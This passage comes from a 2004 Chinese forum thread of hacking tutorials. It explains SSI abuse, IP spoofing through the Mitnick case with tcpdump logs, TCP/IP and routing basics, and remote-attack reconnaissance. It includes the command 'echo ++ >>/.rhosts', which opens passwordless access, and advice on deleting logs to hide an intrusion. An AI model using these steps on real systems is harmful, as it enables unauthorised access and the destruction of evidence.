这一切都是我们所希望的,但是很多服务器都屏蔽了exec指令来防止这类攻击。在以上的例子中,你最多能做到的就是用include指令来取得一个你所知道路径的文件内容。象密码文件对于你的当前权限来说可能不可访问。注意有的文件(比如CGI scripts)不会因为include调用而暴露它们的源码。从入侵者的角度来看,include指令的价值并不是很大,如果不能exec,那你能做的就更有限了。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

13#
0758河台小赵 发表于 2004-9-14 10:44:00
IP欺骗攻击 IP欺骗是在服务器不存在任何漏洞的情况下,通过利用TCP/IP协议本身存在的一些缺陷进行攻击的方法,这种方法具有一定的难度,需要掌握有关协议的工作原理和具体的实现方法。 一、TCP、IP协议的简单说明: TCP/IP(传输入控制地议/网际协议)是一种网络通信协议,它规范了网络上的所有通信设备,尤其是一个主机与另一个主机之间的数据传输格式以及传送方式,TCP/IP是因特网的基础协议。要想当黑客就有必要了解TCP/IP协议。 在数据传送中,可以形象的理解为有两个信封:TCP和IP信封。要送递的信息被分成若干段,每一段塞入一个TCP信封,并在该信封上记录有分段号的信息,再将TCP信封塞入IP大信封里,发送到网上。在扫收端,一个TCP软件包收集信封,抽出数据,按发送关的顺序还原,并加以校验,若发现差错,TCP将会要求重发。因此TCP/IP在因特网中几乎可以无差错地传送数据。对因特网用户来说,并不需要了解网络协议的整个结构,仅需了解IP的地址格式,即可与世界各地进行网络通信。 1、TCP/IP的层次结构: TCP/IP协议组中的协议因特网上数据的传输,提供了几乎目前上网所用到的所有服务,在TCP/IP协议组中有两种协议: (1)网络层协议: 网络层协议管理离散计算机间的数据传输。这些协议用户注意不到,它们是个系统表层以下工作的。比如,IP协议为用户和远程计算机提供了信息包的传输方法,它是在许多信息的基础上工作的。比如机器的IP地址。在机器的IP地址和其他信息的基础上,IP确保信息包正确达到目的机器。通过这一过程,IP和其他网络层的协议一共同用于数据传输。如果没有网络工具,用户就看不到在系统里工作的机器的IP。 (2)应用层协议: 相反地,应用层协议是可以看到的。比如,文件传输协议(FTP)是可以看到的。用户为了传一个文件而请求一个和其他计算机连接,连接建立后,就开始传输文件,在传输时,用户和远程计算机的交换的一部分是能看到的。 2、TCP/IP的重要协议: (1)地址解析协议(ARP): 在网络上进行通信的主机必须知道对方主机的硬件地址(网卡的物理地址)。地址解析协议的目的就是将IP地址映射成物理地址。这在使信息通过网络时特别重要。一个消息(或者其他数据)在发送之前,被打包到IP包里面,或适合于因特网传输信息块中,其中包括两台计算机的IP地址。 在这个包离开发送计算机前,必须找到目标的硬件地址,这就是ARP最初到达的地方。 一个ARP请求消息会在网上广播。请求由一个进程接收,它回复物理地址。这个回复消息由原先的那台发送广播消息的计算机接收,从而传输过程就开始了。 ARP的设计包括一个缓存。为了减少广播量,ARP在缓存中保存地址映射以备后用。ARP级存保存有动态项和静态项。动态项是自动加和删除的,静态项则是保留在缓存(Cache)中,直到计算机重启为止。ARP缓存总是为本地子网保留硬件广播地址(0xffffffffffffh)用为一个永久项,此项使主机能够接收ARP广播。当果看存时,该项不会显示。每条ARP缓存记录的生命周期为10分种,如果2分种未用则删除。缓存容量满时,删除最早的记录,但是,缓存也引起了安全性的问题。那就是缓存溢出——这不是本文的讨论内容,所以就不说了。 (2)因特网控制消息协议(ICMP): 因特网控制消息协议(ICMP)用于报告错误并IP对消息进行控制。IP运用互联组管理协议(IGMP)来告诉路由器某一网络上指导组中有哪些可用主机。 以ICMP实现的最著名的网络工具是Ping。Ping通常用来判断一台远程机器是否正开着,数据包从用户的计算机发到远程计算机,这些包通常返回到用户的计算机,如果数据据包没有返回到用户计算机,Ping程序就产生一个表示远程计算机关机的错误消息。 二、IP攻击中如何建立建立信任关系: IP欺骗是利用了主机之间的正常信任关系来发动的,所以在介绍IP欺骗攻击之前,先说明一下什么是信任关系,信任关系是如何建立的。 在UNIX主机中,存在着一种特殊的信任关系。假设有两台主机hosta和hostb,上面各有一个帐户Tomy,在使用中会发现,在hosta上使时要输入在hosta上的相应帐户Tomy,在hostb上使用时必须输入用hostb的帐户Tomy,主机hosta和hostb把Tomy当做两个互不相关的用户,这显然有些不便。为了减少这种不便,可以在主机hosta和hostb中建立起两个帐户的相互信任关系。在hosta和hostb上Tomy的home目录中创建.rhosts文件。从主机hosta上,在你的home目录中用命令echo “hostb Tomy”>~/.hosts实现hosta&hostb的信任关系,这时,你从主机hostb上,你就能毫无阻碍的使用任何以r开头的远程调用命令,如:rlogin、rsh、rcp等,而无需输入口令验证就可以直接登录到hosta上。这些命令将充许以地址为基础的验证,允许或者拒绝以IP地址为基础的存取服务。这里的信任关系是基于IP的地址的。 当/etc/hosts.equiv中出现一个 “+”或者$HOME/.rhosts中出现 “++”时,表明任意地址的主机可以无须口令验证而直接使用r命令登陆此主机,这是十分危险的,而这偏偏又是某些管理员不重视的地方。下面我们看一下rlogin的用法。 rlogin是一个简单的/服务器程序,它的作用和telnet差不多,不同的是telnet完全依赖口令验证,而rlogin是基于信任关系的验证,其次到才进行口令验证的,它使用了TCP协议进行传输。当用户从一台主机登陆到另一台主机上,并且,如果目录主机信任它,rlogin将允许在不应答口令的性况下使用目标主机上的资源,安全验证完便基于源主机的IP地址。因此,根据以上所举的例子,我们能利用rlogin来从hostb远程登陆到hosta,而且不会被提示出入口令! 三、IP欺骗的理论根据: 看到上面的说明,每一个黑客都会想到:既然hosta和hostb之间的信任关系是基于IP址而建立起来的,那么假如能够冒充hostb的IP,就可以使用rlogin登录到hosta,而不需任何口令验证。这就是IP欺骗的最根本的理论依据。但是,事情远没有想像中那么简单!虽然可以通过编程的方法随意改变发出的包的IP地址,但TCP协议对IP进行了进一步的封装,它是一种相对可靠的协议,不会让黑客轻易得逞。下面看一下正常的TCP/IP会话的过程: 由于TCP是面向连接的协议,所以在双方正式传输数据之前,需要用“三次握手”来建立一个稳重的连接。假设还是hosta和hostb两台主机进行通信,hostb首先发送带有SYN标志的数据段通知hosta建立TCP连接,TCP的可靠性就是由数据包中的多位控制字来提供的,其中最重要的是数据序列SYN和数据确认标志ACK。B将TCP报头中的SYN设为自己本次连接中的初始值(ISN)。 当hosta收到hostb的SYN包之后,会发送给hostb一个带有SYN+ACK标志的数据段,告之自己的ISN,并确认hostb发送来的第一个数据段,将ACK设置成hostb的SYN+1。 当hostb确认收到hosta的SYN+ACK数据包后,将ACK设置成hosta的SYN+1。Hosta收到hostb的ACK后,连接成功建立,双方可以正式伟输数据了。 看了这个过程,我们就很容易想到,假如想冒充hostb对hosta进行攻击,就要先使用hostb的IP地址发送SYN标志给hosta,但是当hosta收到后,并不会把SYN+ACK发送到我们的主机上,而是发送到真正的hostb上去,这时IP欺骗就失败了,因为hostb根本没发送发SYN请请。所以如果要冒充hostb,首先要让hostb失去工作能力,也就是所谓的拒绝服务攻击,设法让让hostb瘫痪。 可是这样还是远远不够的,最难的就是要对hosta进行攻击,必须知道hosta使用的ISN。TCP使用的ISN是一个32位的计数器,从0到4,294,967,295。TCP为每一个连接选择一个初始序列号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同的系统有着不同的算法。理解TCP如何分配ISN以及ISN随时间的变化规律,对于成功的进行IP欺骗攻击是很重要的!ISN约每秒增加128 000,如果有连接出现,每次连接将把计数器的数值增加64,000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32小时复位一次。这所以这样,是因为它有利于最大于度地减少“旧有”连接的信息干扰当前连接的机会。如果初始序例号是随意选择的,那么不能保证现有序例号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出循环,回到了“旧有”的连接,显然这会对现有连接产生干扰。预测出攻击目标的序例号非常困难,而且各个系统也不想同,在Berkeley系统,最初的序列号变量由一个常数每秒加1产生,等加到这个常数的一半时,就开始一次连接。这样,如果开始啊一个合法连接,并观察到一个ISN正在使用,便可以进行预测,而且这样做有很高的可信度。现在我们假设黑客已经使用某种方法,能预测出ISN。在这种情况下,他就可以将ACK序便号送给hosta,这时连接就建立了。 四、IP欺骗攻击过程解析: IP欺骗由若干步骤组成,下面是它的详细步骤: 1、使被信任主机失去工作能力: 为了伪装成被信任主机而不露陷,需要使其完全失去工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正的被信任主机不能收到任何有效的网络数据,否则将会被揭穿。有许多方法可以达到这个目的(如SYN洪水攻击、TTN、Land等攻击)。现假设你已经使用某种方法使得被信任的主机完全失去了工作能力。 2、序例号取样和猜测: 前面讲到了,对目标主机进行攻击,必须知道目标主机的数据包序例号。通常如何进行预测呢?往往先与被攻击主机的一个端口(如:25)建立起正常连接。通常,这个过程被重复N次,并将目标主机最后所发送的ISN存储起来。然后还需要进行估计他的主机与被信任主机之间的往返时间,这个时间是通过多次统计平均计算出来的。往返连接增加64,000.现在就可以估计出ISN的大小是128,000乘以往返时间的一半,如果此时目标主机刚刚建立过一个连接,那么再加上64 ,00。 一旦估计出ISN的大小,就开始着手进行攻击,当然你的虚假TCP数据包进入目标主机时,如果刚才估计的序例号是准确的,进入的数据将被放置在目标机的缓冲区中。但是在实际攻击过程中往往没这么幸运,如果估计序例号的小于正确值,那么将被放弃。而如果估计的序例号大于正确值,并且在缓冲区的大小之内,那么该数据被认为是一个未来的数据,TCP模块将等待其他缺少的数据。如果估计序例号大于期待的数字且不在缓冲区之内,TCP将会放弃它并返回一个期望获得的数据序例号。 你伪装成被信任的主机IP,此时该主机仍然处在瘫痪状态,然后向目标主机的513端口(rlogin)发送连接请求。目标主机立刻对连接请求作出反应,发更新SYN+ACK确认包给被信任主机,因为此时被信任主机仍然处于瘫痪状态,它当然无法收到这个包,紧接关攻击者向目标主机发送ACK数据包,该包使用前面估计的序例号加1。如果攻击者估计正确的话,目标主机将会接收该ACK。连接就正式建立起了,可以开始数据传输了。这时就可以将cat ‘++’>>~/.rhosts命令发送过去,这样完成本次攻击后就可以不用口令直接登录到目标主机上了。如果达到这一步,一次完整的IP欺骗就算完成了,黑客已经在目标机上得到了一个Shell权限,接下来就是利用系统的溢出或错误配置扩大权限,当然黑客的最终目的还是获得服务器的root权限。 3、总结一下IP攻击的整个步骤: (1)首先使被信任主机的网络暂时瘫痪,以免对攻击造成干扰; (2)然后连接到目标机的某个端口来猜测ISN基值和增加规律; (3)接下来把源址址伪装成被信任主机,发送带有SYN标志的数据段请求连接; (4)然后等待目标机发送SYN+ACK包给已经瘫痪的主机; (5)最后再次伪装成被信任主机向目标机发送的ACK,此时发送的数据段带有预测的目标机的ISN+1; (6)连接建立,发送命令请求。 五、具体实现过程: 对于以上的理论,如何才能真正实现呢?现在我们共同看一下一次完整的IP欺骗攻击过程,并且将理论上升到实际应用中。下面的攻击过程是利用tcpdump记录下来的,tcpdump是一个sniffer程序,用来纪录系统的各种细节问题,因此需要先说明一下有关纪录环境: Server:一台运行Solaris的Sparc工作站; x-terminal:被攻击的服务器; IP欺骗攻击开始于1994年12月25日 14:09:32 米特尼客的第一轮探测来自于一台名叫toad.com的主机,这显然是他事先攻破的一台系统,用来做跳板的,他在toad.com上运行了以下命令: toad.com#finger –l @target toad.com#finger –l @server toad.com#finger –l root@server toad.com#finger –l @x-terminal toad.com#shownoumt –e x-terminal toad.com#rpcinfo –p x-terminal toad.com#finger –l root@x-terminal 这些命令的的作用显然是在探测攻击目标之间潜在的信任关系,因为只有在发现了信任关系才能进行IP欺骗。Showmount和rcpinfo的源端口探测又说明了攻击者已经得到了root权限。 大约在六分钟之后,tcpdump检测到一阵急风暴雨般的TCP SYN包从130.92.6.7猛烈的涌向Server 的513(rlogin)端口。很显然,这是在使用SYN洪水拒绝服务攻击server,目的当然是让他失去工作能力了。这也就是前面提到的第一步。因为513端口是以root权限运行的,所以现在server.login可以被用来作为进行IP欺骗的伪造源了。当然,这个的谓的攻击方IP130.92.6.97 也是一个伪造的IP,这样它才不会接收到server的回应包。 相关数据纪录: 14:18:22:516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22:566069 130.92.6.97.600 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22:744477 130.92.6.97.600 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22:830111 130.92.6.97.600 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22:886128 130.92.6.97.600 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22:943514 130.92.6.97.600 > server.login: S 1382726965:1382726965(0) win 4096 14:18:23:002715 130.92.6.97.600 > server.login: S 1382726966:1382726966(0) win 4096 14:18:23:103275 130.92.6.97.600 > server.login: S 1382726967:1382726967(0) win 4096 14:18:23:162781 130.92.6.97.600 > server.login: S 1382726968:1382726968(0) win 4096 14:18:23:225384 130.92.6.97.600 > server.login: S 1382726969:1382726969(0) win 4096 14:18:23:282625 130.92.6.97.600 > server.login: S 1382726970:1382726960(0) win 4096 14:18:23:342657 130.92.6.97.600 > server.login: S 1382726971:1382726961(0) win 4096 14:18:23:403083 130.92.6.97.600 > server.login: S 1382726972:1382726962(0) win 4096 14:18:23:903700 130.92.6.97.600 > server.login: S 1382726973:1382726963(0) win 4096 14:18:24:003252 130.92.6.97.600 > server.login: S 1382726974:1382726964(0) win 4096 14:18:24:084827 130.92.6.97.600 > server.login: S 1382726975:1382726965(0) win 4096 14:18:24:142774 130.92.6.97.600 > server.login: S 1382726976:1382726966(0) win 4096 14:18:24:203195 130.92.6.97.600 > server.login: S 1382726977:1382726967(0) win 4096 14:18:24:294773 130.92.6.97.600 > server.login: S 1382726978:1382726968(0) win 4096 14:18:24:382841 130.92.6.97.600 > server.login: S 1382726979:1382726969(0) win 4096 14:18:24:443309 130.92.6.97.600 > server.login: S 1382726980:1382726960(0) win 4096 14:18:24:643249 130.92.6.97.600 > server.login: S 1382726981:1382726961(0) win 4096 14:18:24:906546 130.92.6.97.600 > server.login: S 1382726982:1382726962(0) win 4096 14:18:24:963786 130.92.6.97.600 > server.login: S 1382726983:1382726963(0) win 4096 14:18:25:022853 130.92.6.97.600 > server.login: S 1382726984:1382726964(0) win 4096 14:18:25:153536 130.92.6.97.600 > server.login: S 1382726985:1382726965(0) win 4096 14:18:25:400869 130.92.6.97.600 > server.login: S 1382726986:1382726966(0) win 4096 14:18:25:483127 130.92.6.97.600 > server.login: S 1382726987:1382726967(0) win 4096 14:18:25:599582 130.92.6.97.600 > server.login: S 1382726988:1382726968(0) win 4096 14:18:25:653131 130.92.6.97.600 > server.login: S 1382726989:1382726969(0) win 4096 server 在连接序例被塞满之前对前八个SYN请求做出了SYN+ACK回应,一旦没有ACK包来回应它,server将周期性地重发SYN+ACK包。接下来有20个从apollo.it.luc.edu发出的连接请求被送往x-terminal.shell,这些连接请求的目的是预测server的TCP序例号生成器的行为。可以注意到每一个连接的初始序例号的增量提示了SYN包不是通过系统的TCP执行产生的。攻击者立刻用RST包来断开x-terminal发来的SYN+ACK包,以使x-terminal的连接序例不至于被塞满,因为毕竟x-terminal是黑客所要攻击的目标,x-terminal发出的每一个SYN+ACK包的初始序例号都比前一个增加了128,000字节。 Server.lgoin的伪造SYN请求发往了x-terminal.shell。推断x-terminal可信任server,所所以会响应来自server 或者伪装成server的主机的所有请求。然后就是,x-terminal用SYN+ACK包回应了server的连接请求,这时因为server仍然处于瘫痪状态,所以它当然不会响应任何来自于x-terminal的包。正常情况下SYN+ACK包是用来期待正确的ACK确认包的,但是攻击者能够预测出x-terminal的TCP序例号生成器的包含SYN+ACK的序例号,所以他不用看到SYN+ACK就可以发出回应的ACK包,如下: 14:18:36.245045 server.login > x-terminal.shell: S 1382727010(0) win 4906 14:18:36.755522 server.login >x-terminal.shell .ack 2024384001 win 4096 到目前为止,伪装成server的主机已经通过 IP欺骗与x-terminal.shell建立了一次正常的rsh连接,这时一旦x-terminal做出任何应答,攻击者就可以维持连接并且发送出数据,下面他发送了如下数据: 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2)ack 1 win 4906 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5)ack 1 win 4906 14:18:37.287404 server.login > x-terminal.shell: P 7:32(25)ack 1 win 4906 这些数据是由tcpdump记录下来的,对应的命令其实就是:server#rsh x-terminal “echo ++ >>/.rhosts” 即在x-terminal上建立起使得任何主机都可以无须口令而行访问的/.rhosts文件,然后断开连接。 上面的整个过程看上去好像很多,但实际从发送第一个数据包,到发送最后一个数据包仅仅用了16秒!这一过程只不过是运行了事先写好的程序而已。 六、防备IP欺骗攻击: 对于来自网络外部的欺骗,防范的方法很简单,只需要在局域网的对外路由器上加一个限制设置就可以实现了,在路由器的设置里面禁止运行声称来自于网络内部的信息包。 对于来自局域网外部的IP欺骗攻击的防范则可以使用防火墙进行防范,但是对于来自内部的攻击通过设置防火墙则起步到什么作用,这个时候应该注意内部网的路由器是否支持内部接口。如果路由器支持内部网络子网的两个接口,则必须提高警惕,因为它很容易受到IP欺骗,这也正是为什么Web服务器放在防火墙外面更加安全的原因。 通过对信息包的监控来检查IP欺骗攻击将是非常有效的方法,使用netlog等信息包检查工具对信息的源地址和目的地址进行验证,如果发现了信息包来自两个一上的不同地址,则说明系统有可能受到了IP欺骗攻击,防火墙外面正有黑客试图入侵系统。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

14#
0758河台小赵 发表于 2004-9-14 10:44:00
TCP、IP协议的简单说明 TCP/IP(传输入控制地议/网际协议)是一种网络通信协议,它规范了网络上的所有通信设备,尤其是一个主机与另一个主机之间的数据传输格式以及传送方式。TCP/IP是因特网的基础协议。要想当黑客就有必要了解TCP/IP协议。 在数据传送中,可以形象的理解为有两个信封:TCP和IP信封。要送递的信息被分成若干段,每一段塞入一个TCP信封,并在该信封上记录有分段号的信息,再将TCP信封塞入IP大信封里,发送到网上。在扫收端,一个TCP软件包收集信封,抽出数据,按发送关的顺序还原,并加以校验,若发现差错,TCP将会要求重发。因此TCP/IP在因特网中几乎可以无差错地传送数据。对因特网用户来说,并不需要了解网络协议的整个结构,仅需了解IP的地址格式,即可与世界各地进行网络通信。 TCP/IP协议组中的协议因特网上数据的传输,提供了几乎目前上网所用到的所有服务。在TCP/IP协议组中有两种协议: 1、网络层协议: 网络层协议管理离散计算机间的数据传输。这些协议用户注意不到,它们是个系统表层以下工作的。比如,IP协议为用户和远程计算机提供了信息包的传输方法,它是在许多信息的基础上工作的。比如机器的IP地址。在机器的IP地址和其他信息的基础上,IP确保信息包正确达到目的机器。通过这一过程,IP和其他网络层的协议一共同用于数据传输。如果没有网络工具,用户就看不到在系统里工作的机器的IP。 2、应用层协议: 相反地,应用层协议是可以看到的。比如,文件传输协议(FTP)是可以看到的。用户为了传一个文件而请求一个和其他计算机连接,连接建立后,就开始传输文件,在传输时,用户和远程计算机的交换的一部分是能看到的。TCP/IP的重要协议: (1)、地址解析协议(ARP) 在网络上进行通信的主机必须知道对方主机的硬件地址(网卡的物理地址)。地址解析协议的目的就是将IP地址映射成物理地址。这在使信息通过网络时特别重要。一个消息(或者其他数据)在发送之前,被打包到IP包里面,或适合于因特网传输信息块中,其中包括两台计算机的IP地址。 在这个包离开发送计算机前,必须找到目标的硬件地址,这就是ARP最初到达的地方。 一个ARP请求消息会在网上广播。请求由一个进程接收,它回复物理地址。这个回复消息由原先的那台发送广播消息的计算机接收,从而传输过程就开始了。 ARP的设计包括一个缓存。为了减少广播量,ARP在缓存中保存地址映射以备后用。ARP级存保存有动态项和静态项。动态项是自动加和删除的,静态项则是保留在缓存(Cache)中,直到计算机重启为止。ARP缓存总是为本地子网保留硬件广播地址(0xffffffffffffh)用为一个永久项,此项使主机能够接收ARP广播。当果看存时,该项不会显示。每条ARP缓存记录的生命周期为10分种,如果2分种未用则删除。缓存容量满时,删除最早的记录,但是,缓存也引起了安全性的问题。那就是缓存溢出——这不是本文的讨论内容,所以就不说了。 (2)、因特网控制消息协议(ICMP) 因特网控制消息协议(ICMP)用于报告错误并IP对消息进行控制。IP运用互联组管理协议(IGMP)来告诉路由器某一网络上指导组中有哪些可用主机。 以ICMP实现的最著名的网络工具是Ping。Ping通常用来判断一台远程机器是否正开着,数据包从用户的计算机发到远程计算机,这些包通常返回到用户的计算机,如果数据据包没有返回到用户计算机,Ping程序就产生一个表示远程计算机关机的错误消息。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

15#
0758河台小赵 发表于 2004-9-14 10:44:00
IP网络路由技术简介 基于TCP/IP协议的Internet已逐步发展成为当今世界上规模最大、拥有用户和资源最多的一个超大型计算机网络,TCP/IP协议也因此成为事实上的工业标准。IP网络正逐步成为当代乃至未来计算机网络的主流。IP网络是由通过路由设备互连起来的IP子网构成的,这些路由设备负责在IP子网间寻找路由,并将IP分组转发到下一个IP子网。 一、IP地址: IP地址是IP网络中数据传输的依据,它标识了IP网络中的一个连接,一台主机可以有多个IP地址。IP分组中的IP地址在网络传输中是保持不变的。 1.基本地址格式: 现在的IP网络使用32位地址,以点分十进制表示,如172.16.0.0。地址格式为:IP地址=网络地址+主机地址或IP地址=主机地址+子网地址+主机地址。网络地址是由Internet权力机构(InterNIC)统一分配的,目的是为了保证网络地址的全球唯一性。主机地址是由各个网络的系统管理员分配。因此,网络地址的唯一性与网络内主机地址的唯一性确保了IP地址的全球唯一性。 2.保留地址的分配: 根据用途和安全性级别的不同,IP地址还可以大致分为两类:公共地址和私有地址。公用地址在Internet中使用,可以在Internet中随意访问。私有地址只能在内部网络中使用,只有通过代理服务器才能与Internet通信。一个机构或网络要连入Internet,必须申请公用IP地址。但是考虑到网络安全和内部实验等特殊情况,在IP地址中专门保留了三个区域作为私有地址,其地址范围如下: 10.0.0.0/8:10.0.0.0~10.255.255.255 172.16.0.0/12:172.16.0.0~172.31.255.255 192.168.0.0/16:192.168.0.0~192.168.255.255 使用保留地址的网络只能在内部进行通信,而不能与其他网络互连。因为本网络中的保留地址同样也可能被其他网络使用,如果进行网络互连,那么寻找路由时就会因为地址的不唯一而出现问题。但是这些使用保留地址的网络可以通过将本网络内的保留地址翻译转换成公共地址的方式实现与外部网络的互连。这也是保证网络安全的重要方法之一。   二、无类域间路由(CIDR): 由于每年连入Internet的主机数成倍增长,因此Internet面临B类地址匮乏、路由表爆炸和整个地址耗尽等危机。无类域间路由(CIDR)就是为解决这些问题而开发的一种直接的解决方案,它使Internet得到足够的时间来等待新一代IP协议的产生。 按CIDR策略,可采用申请几个C类地址取代申请一个单独的B类地址的方式来解决B类地址的匮乏问题。所分配的C类地址不是随机的,而是连续的,它们的最高位相同,即具有相同的前缀,因此路由表就只需用一个表项来表示一组网络地址,这种方法称为“路由表聚类”。 另外,除了“路由表聚类”措施外,还可以由每个ISP从InterNIC获得一段地址空间后,再将这些地址分配给用户。   三、路由选择技术: IP网络中的路由选择是由路由设备完成的。路由器通过执行一定的路由协议,为IP数据报寻找一条到达目的主机或网络的最佳路由,并转发该数据报,实现路由选择。 1.路由协议路由协议分为两大类:? 路由选择协议(Routing Protocol)这类协议使用一定的路由算法找出到达目的主机或网络的最佳路径,如RIP(路由信息协议)等。? 路由传送协议(Routed Protocol)这类协议沿已选好的路径传送数据报,如通过IP协议能将物理连接转变成网络连接,实现网络层的主要功能——路由选择。 2.直连路由与非直连路由 IP协议是根据路由来转发数据的。路由器中的路由有两种:直连路由和非直连路由。 路由器各网络接口所直连的网络之间使用直连路由进行通信。直连路由是在配置完路由器网络接口的IP地址后自动生成的,因此,如果没有对这些接口进行特殊的限制,这些接口所直连的网络之间就可以直接通信。 由两个或多个路由器互连的网络之间的通信使用非直连路由。非直连路由是指人工配置的静态路由或通过运行动态路由协议而获得的动态路由。其中静态路由比动态路由具有更高的可操作性和安全性。 IP网络已经逐渐成为现代网络的标准,用IP协议组建网络时,必须使用路由设备将各个IP子网互连起来,并且在IP子网间使用路由机制,通过IP网关互连形成层次性的网际网。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

16#
tree945 发表于 2004-9-14 10:47:00

这位朋友,不好意思,早就看到你要上传黑客攻学兼防了,我等了好长时间也没有见,于是就找了一个上传了,没想到……对不起啊

希望能和你成为朋友

回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

17#
0758河台小赵 发表于 2004-9-14 10:51:00
远程攻击 一、什么是远程攻击: 一个远程攻击是这样一种攻击,其攻击对象是攻击者还无法控制的计算机;也可以说,远程攻击是一种专门攻击除攻击者自己计算机以外的计算机(无论被攻击的计算机和攻击者位于同一子网还是有千里之遥)。“远程计算机”此名词最确切的定义是:“一台远程计算机是这样一台机器,它不是你正在其上工作的平台,而是能利用某协议通过Internet网或任何其他网络介质被使用的计算机”。 二、远程攻击过程: 进行远程攻击的第一步并不需要和攻击目标进行密切地接触(换句话说,如果入侵者聪明的话,那第一步可以不要)。入侵者的第一个任务(在识别出目标机及其所在的网络的类型后)是决定他要对付谁。此类信息的获得毋需干扰目标的正常工作(假设目标没有安装防火墙。因为大部分的网络都没有安装防火墙,长期以来一直如此)。此类的某些信息可通过下面的技术获得: 1、运行一个查询命令host。通过此命令,入侵者可获得保存在目标域服务器中的所有信息。其查询结果所含信息量的多少主要依靠于网络的大小和结构。 2、WHOIS查询。此查询的方法可识别出技术管理人员。这类信息也被认为是无用的。实际上不然。因为通常技术管理人员需要参与目标网的日常管理工作,所以这些人的电子邮件地址会有些价值(而且同时使用host和WHOIS查询有助于你判断目标是一个实实在在的系统还是一个页结点,或是由另一个服务形成的虚拟的域等等)。 3、运行一些Usenet和WEB查询。在入侵者和目标进行实际接触之前,他还有许多查询工作要做。其中之一就是查询某位技术管理人员的名字信息(使用强制的、区分大小写的、完全匹配用的条件查询)。通过些查询入侵者可了解这些系统管理员和技术管理员是否经常上Usenet。同样,也可在所有可用的安全邮件列表的可查询集合中查询他们的地址。 “你应该如何做呢?首先试着收集目标的信息。有许多网络服务可于此目的,finger、showmount和rpcinfo都是好的起点。但不要停滞于此,你还能利用DNS、Whois、Sendmail(smtp)、ftp、uucp和其他的可用的各种服务。” 收集系统管理员的相关信息是最为重要的。系统管理员的职责是维护站点的安全,当他们遇到各种问题时,许多管理员会迫不及待地将这些问题发到Usenet或邮件列表上以寻求答案。 只要肯花一定时间来寻找此系统管理员的地址(和其他的一些信息),你便能彻底地了解他的网络、他的安全概念以及他的个性。因为发出这种邮件的系统管理员总会指明他们的组织结构、网络的拓朴结构和他们面临的问题。 注意:对Windows NT网络进行攻击却截然不同。你必须一直跟踪每台机器上的根帐号(或者说系统管理员帐号)。因为NT并未设计出su等命令,用以完面只有根帐号才能完成的任务。而且NT上系统管理员帐号和UNIX上的根帐号有着极大的差异。因为不直接被使用根帐号,所以系统管理员的ID可为任何字符串。让我们假设你知道那个 ID:walrus。进一步假设通过host查询命令,你得到了150台计算机的有关信息,其中包括每台计算机的名字。例如,他们可以是ail.victim.net、news.victim.net、shell.victim.net、cgi.victim.net等等(尽管在实践中,它们可能会有“主题”名,从而使外人不知道某台机器负担何种工作,如sabertooth.victim.net、bengal.victim.net等)。 入侵者应该在每台机器上试一试管理员的地址。例如,他会试一试walrus@shell.victim.net,walrus@sabertooth.victim.net等。换句话说,除了在网络的每台计算机上尝试管理员的地址,还要在每台计算机上尝试所有的具有普遍性的东西。也许可以发现walrus喜欢用的计算机,所在信件都是从这台计算机邮出的。 请注意,如果目标是一个服务提供者(或者允许用户对它进行合法访问的系统),那么通过观察系统管理员从哪进入系统能获得此管理员的更多信息。一般从外部联合使用finger和rusers命令即可获得这些信息。换句话说,你要一直留意外部网(除目标网以外的网,在这些网络上那个系统管理有一些帐号),如果他最近的一次登录是在Netcom,跟踪他在Netcom帐号一天左右,看看会发生什么。 三、关于finger查询: finger很可能暴露你的行为,为了避免finger查询产生标记,绝大多数入侵者使用finger gateways(finger网关)。finger网关是一些WEB主页,通常包含了一个简单的输入框(field),此框指向在远地服务器硬盘上的一个CGI程序。此远程服务器执行finger查询。 下面提供了此类finger网关的一个例子: http://www.hgp.med.umich.edu/cgi-bin/finger 四、操作系统: 也许你已经使用了各种方法(包括在上文中所提及的方法和另外一些方法)来识别在目标网络上使用的操作系统的类型的版本。无论如何,一旦判断出目标网络上的操作系统和结构是多样的,下一步的研究工作就可以进行了。首先作一张表,列出每个操作系统和机器的类型(这张表对于你进一步进行研究有极大地帮助),然后对每个平台进行研究并找出它们中的漏洞。 知道操作系统后可到如下地址查找相关的安全报告: http://info.arc.com/sec_bull/sec_bullsearch.html 五、进行测试: 实际上只有那些对入侵极热衷的入侵者才会做攻击过程中测试部分。大部分的入侵者并不想尝试这种行为,因为这需要一定的费用。然而我却推荐入侵者不要跳过此步骤。 在此步骤中,首先要建立一个和目标一样的环境。一旦将此环境建立起来后,你就可对它进行一系列的攻击。在此过程中,有两件事需要注意: 1、从攻击方来看这些攻击行为看上去像什么 2、从受攻击方来看这些攻击行为看上去像什么 通过检查攻击方的日志文件,入侵者能大致了解对一个几乎没有保护措施的目标进行攻击时攻击行为看上去像什么(目标没有保护措施是指目标机上没有运行传统的守护程序)。这能给入侵者提供一些提示;如果真正的攻击行为和实验结果不一致,那么一定存在着某些原因。一台相同配置的机器(或者,我应说成一台配置明显一致的机器)在相同的攻击下应产生相同的反应。如果结果并非如此,那说明管理目标机的人暗中已有了应急计划。在这种情况下,入侵者应谨慎行动。 通过检查被攻击方的日志,入侵者可了解攻击过程中留下的“痕迹”看上去像什么。这对入侵者来说很重要。在一个异构系统中,存在着不同的日志过程。入侵至少应该知道这些日志过程是什么,换句话说,他需要了解保存入侵“痕迹”的每个文件(在相同配置的计算机上)。这些信息是至关重要的,并具有指导作用:它能告诉入侵者删除哪些文件来毁灭其入侵的证据。找到这些文件的唯一方法就是在自己控制的环境中进行测试并检查日志。 六、和漏洞及其他重要特征有关的各种工具: 